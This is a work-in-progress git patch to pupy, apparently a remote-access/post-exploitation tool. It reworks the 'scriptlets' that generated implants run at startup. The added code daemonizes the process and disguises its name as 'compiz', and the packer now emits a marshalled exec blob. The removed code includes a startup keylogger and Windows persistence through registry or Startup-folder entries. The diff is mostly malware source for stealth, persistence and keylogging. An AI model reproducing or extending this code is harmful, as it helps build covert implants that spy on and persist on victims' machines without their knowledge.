From 3ef0a5698138c05fba5b093d1e9918e0837807b1 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Fri, 5 Oct 2018 00:22:38 +0300 Subject: [PATCH] [WIP] Rework scriptlets --- pupy/pupygen.py | 27 +++--- pupy/scriptlets/daemonize/__init__.py | 3 + pupy/scriptlets/daemonize/generator.py | 38 -------- pupy/scriptlets/daemonize/scriptlet.py | 19 ++++ pupy/scriptlets/hide_argv/__init__.py | 11 +++ pupy/scriptlets/hide_argv/generator.py | 28 ------ pupy/scriptlets/hide_argv/scriptlet.py | 8 ++ pupy/scriptlets/keylogger/__init__.py | 0 pupy/scriptlets/keylogger/generator.py | 21 ----- pupy/scriptlets/persistence/__init__.py | 0 pupy/scriptlets/persistence/generator.py | 42 --------- pupy/scriptlets/script/__init__.py | 0 pupy/scriptlets/script/generator.py | 22 ----- pupy/scriptlets/scriptlets.py | 110 ++++++++++++++++------- 14 files changed, 133 insertions(+), 196 deletions(-) delete mode 100644 pupy/scriptlets/daemonize/generator.py create mode 100644 pupy/scriptlets/daemonize/scriptlet.py delete mode 100644 pupy/scriptlets/hide_argv/generator.py create mode 100644 pupy/scriptlets/hide_argv/scriptlet.py delete mode 100644 pupy/scriptlets/keylogger/__init__.py delete mode 100644 pupy/scriptlets/keylogger/generator.py delete mode 100644 pupy/scriptlets/persistence/__init__.py delete mode 100644 pupy/scriptlets/persistence/generator.py delete mode 100644 pupy/scriptlets/script/__init__.py delete mode 100644 pupy/scriptlets/script/generator.py diff --git a/pupy/pupygen.py b/pupy/pupygen.py index bf66d3ef..04b58c3b 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -438,24 +438,22 @@ def generate_binary_from_template(display, config, osname, arch=None, shared=Fal return generator(display, template, config, compressed, debug), filename, makex def load_scriptlets(): - scl={} + scl = {} for loader, module_name, is_pkg in pkgutil.iter_modules(scriptlets.__path__): - if is_pkg: - module=loader.find_module(module_name).load_module(module_name) - for loader2, module_name2, is_pkg2 in pkgutil.iter_modules(module.__path__): - if module_name2=="generator": - module2=loader2.find_module(module_name2).load_module(module_name2) - if not hasattr(module2, 'ScriptletGenerator'): - logger.error("scriptlet %s has no class ScriptletGenerator"%module_name2) - else: - scl[module_name]=module2.ScriptletGenerator + if not is_pkg: + continue + + scriptlet = loader.find_module(module_name).load_module(module_name) + scl[module_name] = scriptlet + return scl def parse_scriptlets(display, args_scriptlet, os=None, arch=None, debug=False): scriptlets_dic = load_scriptlets() - sp = scriptlets.scriptlets.ScriptletsPacker(os, arch, debug=debug) + sp = scriptlets.scriptlets.ScriptletsPacker(os, arch) + for sc in args_scriptlet: - tab=sc.split(",",1) + tab = sc.split(",", 1) sc_args={} name=tab[0] if len(tab)==2: @@ -474,14 +472,15 @@ def parse_scriptlets(display, args_scriptlet, os=None, arch=None, debug=False): display(Success('loading scriptlet {} with args {}'.format(repr(name), sc_args))) try: - sp.add_scriptlet(scriptlets_dic[name](**sc_args)) + sp.add_scriptlet(scriptlets_dic[name], sc_args) + except ScriptletArgumentError as e: display(MultiPart( Error('Scriptlet {} argument error: {}'.format(repr(name), str(e))), scriptlets_dic[name].format_help())) raise ValueError('{}'.format(e)) - script_code=sp.pack() + script_code = sp.pack() return script_code class InvalidOptions(Exception): diff --git a/pupy/scriptlets/daemonize/__init__.py b/pupy/scriptlets/daemonize/__init__.py index e69de29b..154acf3c 100644 --- a/pupy/scriptlets/daemonize/__init__.py +++ b/pupy/scriptlets/daemonize/__init__.py @@ -0,0 +1,3 @@ +# -*- coding: utf-8 -*- + +''' daemonize the process at startup (posix only) ''' diff --git a/pupy/scriptlets/daemonize/generator.py b/pupy/scriptlets/daemonize/generator.py deleted file mode 100644 index 50a6b822..00000000 --- a/pupy/scriptlets/daemonize/generator.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms -import textwrap -from scriptlets import Scriptlet - -class ScriptletGenerator(Scriptlet): - """ daemonize the process at startup (posix only) """ - - dependencies=[] - arguments={ - } - - def __init__(self): - pass - - def generate(self, os): - return textwrap.dedent(""" - import pupy, os - - if os.name == 'posix': - pupy.infos['daemonize']=True - if os.fork(): # launch child and... - os._exit(0) # kill off parent - os.setsid() - if os.fork(): # launch child and... - os._exit(0) # kill off parent again. - os.umask(022) # Don't allow others to write - null=os.open('/dev/null', os.O_RDWR) - for i in range(3): - try: - os.dup2(null, i) - except OSError, e: - if e.errno != errno.EBADF: - raise - os.close(null) - """) diff --git a/pupy/scriptlets/daemonize/scriptlet.py b/pupy/scriptlets/daemonize/scriptlet.py new file mode 100644 index 00000000..8fa692c9 --- /dev/null +++ b/pupy/scriptlets/daemonize/scriptlet.py @@ -0,0 +1,19 @@ +import pupy, os + +def main(): + if os.name == 'posix': + pupy.infos['daemonize']=True + if os.fork(): # launch child and... + os._exit(0) # kill off parent + os.setsid() + if os.fork(): # launch child and... + os._exit(0) # kill off parent again. + os.umask(022) # Don't allow others to write + null=os.open('/dev/null', os.O_RDWR) + for i in range(3): + try: + os.dup2(null, i) + except OSError, e: + if e.errno != errno.EBADF: + raise + os.close(null) diff --git a/pupy/scriptlets/hide_argv/__init__.py b/pupy/scriptlets/hide_argv/__init__.py index e69de29b..7c5c4bac 100644 --- a/pupy/scriptlets/hide_argv/__init__.py +++ b/pupy/scriptlets/hide_argv/__init__.py @@ -0,0 +1,11 @@ +# -*- coding: utf-8 -*- + +""" change pupy process's name """ + +dependencies = { + 'linux': ['hide_process'] +} + +arguments = { + 'name': 'ex: compiz' +} diff --git a/pupy/scriptlets/hide_argv/generator.py b/pupy/scriptlets/hide_argv/generator.py deleted file mode 100644 index 4498dc99..00000000 --- a/pupy/scriptlets/hide_argv/generator.py +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms -import textwrap -from scriptlets import Scriptlet - -class ScriptletGenerator(Scriptlet): - """ change pupy process's name """ - - dependencies = { - 'linux': ['hide_process'] - } - - arguments = { - 'name': 'ex: compiz' - } - - def __init__(self, name="compiz"): - self.name=name - - def generate(self, os): - return textwrap.dedent(""" - import sys - if sys.platform=="linux2": - import hide_process - hide_process.change_argv(argv={}) - """.format(repr(self.name))) diff --git a/pupy/scriptlets/hide_argv/scriptlet.py b/pupy/scriptlets/hide_argv/scriptlet.py new file mode 100644 index 00000000..464dd3d3 --- /dev/null +++ b/pupy/scriptlets/hide_argv/scriptlet.py @@ -0,0 +1,8 @@ +import sys + +def main(name='compiz'): + print "HIDE ARGV!!!" + print "NAME:", name + if sys.platform == 'linux2': + import hide_process + hide_process.change_argv(argv=name) diff --git a/pupy/scriptlets/keylogger/__init__.py b/pupy/scriptlets/keylogger/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/pupy/scriptlets/keylogger/generator.py b/pupy/scriptlets/keylogger/generator.py deleted file mode 100644 index f57e98dd..00000000 --- a/pupy/scriptlets/keylogger/generator.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms - -from scriptlets import Scriptlet - -class ScriptletGenerator(Scriptlet): - """ start the keylogger at startup """ - - dependencies = { - 'windows': ['pupwinutils.keylogger'], - 'linux': ['pupyps', 'display', 'keylogger'] - } - arguments={} - - def generate(self, os): - if os == 'windows': - return 'import pupwinutils.keylogger; pupwinutils.keylogger.keylogger_start()' - else: - return 'import keylogger; import display; display.when_attached(keylogger.keylogger_start)' diff --git a/pupy/scriptlets/persistence/__init__.py b/pupy/scriptlets/persistence/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/pupy/scriptlets/persistence/generator.py b/pupy/scriptlets/persistence/generator.py deleted file mode 100644 index 25433109..00000000 --- a/pupy/scriptlets/persistence/generator.py +++ /dev/null @@ -1,42 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms -import textwrap -import random -import string -from scriptlets import ScriptletArgumentError, Scriptlet - -class ScriptletGenerator(Scriptlet): - """ copy the current pupy executable to a random exe in %TEMP% and add persistency through registry """ - - dependencies = { - 'windows': ['pupwinutils.persistence'] - } - - arguments = { - 'method': 'available methods: registry, startup' - } - - def __init__(self, method="registry"): - if method not in ("registry", "startup"): - raise ScriptletArgumentError("unknown persistence method %s"%method) - self.method=method - - def generate(self, os): - name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe" - if self.method=="registry": - return textwrap.dedent(""" - import sys, shutil, os.path - if sys.platform=="win32": - import pupwinutils.persistence - path=os.path.join(os.path.expandvars("%TEMP%"), {}) - shutil.copy(sys.executable, path) - pupwinutils.persistence.add_registry_startup(path) - """.format(name)) - else: - return textwrap.dedent(""" - import sys, shutil, os.path - if sys.platform=="win32": - shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}")) - """.format(name)) diff --git a/pupy/scriptlets/script/__init__.py b/pupy/scriptlets/script/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/pupy/scriptlets/script/generator.py b/pupy/scriptlets/script/generator.py deleted file mode 100644 index 748050df..00000000 --- a/pupy/scriptlets/script/generator.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms - -from scriptlets import ScriptletArgumentError, Scriptlet - -class ScriptletGenerator(Scriptlet): - """ execute any python script before starting pupy connection ! """ - - dependencies=[] - arguments={ - 'path': 'path to the python script to embed' - } - - def __init__(self, path=None): - self.script_path=path - if self.script_path is None: - raise ScriptletArgumentError("a path to a python script must be supplied") - - def generate(self, os): - return open(self.script_path, 'rb').read() diff --git a/pupy/scriptlets/scriptlets.py b/pupy/scriptlets/scriptlets.py index fb6ad299..d74c8260 100644 --- a/pupy/scriptlets/scriptlets.py +++ b/pupy/scriptlets/scriptlets.py @@ -3,19 +3,43 @@ # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms -import os - from pupylib.payloads import dependencies +from pupylib.PupyCompile import Compiler from pupylib.utils.obfuscate import compress_encode_obfs -ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),"..","packages")) +from ast import ( + parse, + TryExcept, Module, FunctionDef, Num, Name, Str, + NodeTransformer +) +from os import path -def wrap_try_except(code): - full_code = "try:\n" - for line in code.split("\n"): - full_code += "\t"+line+"\n" - full_code += "except Exception:\n\tpass\n" - return full_code +ROOT = path.abspath(path.join(path.dirname(__file__), '..', 'packages')) + +WRAPPING_TEMPLATE = ''' +{scriptlet}_logger = logger.getChild("{scriptlet}") + +try: + # SCRIPTLET BODY GOES HERE + {scriptlet}_main() +except Exception, e: + {scriptlet}_logger.exception(e) +''' + +class AstCompiler(Compiler): + def __init__(self): + self._source_ast = None + self._main = False + self._docstrings = False + self._source_ast = False + + NodeTransformer.__init__(self) + + def add_ast(self, ast): + if not self._source_ast: + self._source_ast = ast + else: + self._source_ast.body.extend(ast.body) class ScriptletArgumentError(Exception): pass @@ -47,18 +71,16 @@ class Scriptlet(object): class ScriptletsPacker(object): - def __init__(self, os=None, arch=None, debug=False, obfuscate=False): - self.scriptlets = set() - self.debug = debug + def __init__(self, os=None, arch=None): + self.scriptlets = {} self.os = os or 'all' self.arch = arch - self.obfuscate = obfuscate - def add_scriptlet(self, sl): - self.scriptlets.add(sl) + def add_scriptlet(self, scriptlet, kwargs={}): + self.scriptlets[scriptlet] = kwargs def pack(self): - fullpayload = [] + compiler = AstCompiler() requirements = set() @@ -74,24 +96,50 @@ class ScriptletsPacker(object): requirements.add(dependency) if requirements: - try: - fullpayload += [ + compiler.add_ast( + parse('\n'.join([ 'import pupyimporter', dependencies.importer(requirements, os=self.os) - ] - except dependencies.NotFoundError, e: - raise ImportError('Module "{}" not found'.format(e)) + ]) +'\n')) + for scriptlet, kwargs in self.scriptlets.iteritems(): + template = WRAPPING_TEMPLATE.format( + scriptlet=scriptlet.__name__) + template_ast = parse(template) - for scriptlet in self.scriptlets: - if self.debug: - fullpayload.append(scriptlet.generate(self.os)) - else: - #if not in debug mode, catch all exception to continue an have a session if a scriptlet raises an exception - fullpayload.append(wrap_try_except(scriptlet.generate(self.os))) + print "SCRIPTLET", scriptlet + print "SCRIPTLET PATH", scriptlet.__path__ - fullpayload = '\n'.join(fullpayload) - if self.obfuscate: - fullpayload = compress_encode_obfs(fullpayload) + scriptlet_ast = None - return fullpayload + with open(path.join(scriptlet.__path__[0], 'scriptlet.py')) as scriptlet_src: + scriptlet_ast = parse(scriptlet_src.read()) + + # Bind args + # There should be top level function main + for item in scriptlet_ast.body: + if type(item) == FunctionDef and item.name == 'main': + item.name = scriptlet.__name__ + '_main' + for arg, value in zip(item.args.args, item.args.defaults): + if arg.id in kwargs: + default = kwargs[arg.id] + vtype = type(value) + if vtype == Num: + value.n = int(default) + elif vtype == Str: + value.s = default + elif vtype == Name: + value.id = repr(default) + + # Wrap in try/except + for item in template_ast.body: + if type(item) == TryExcept: + scriptlet_ast.body.extend(item.body) + item.body = scriptlet_ast.body + print "FOUND BODY, NEW:", item.body + break + + compiler.add_ast(template_ast) + + return 'exec marshal.loads({})'.format( + repr(compiler.compile('scriptlets', raw=True)))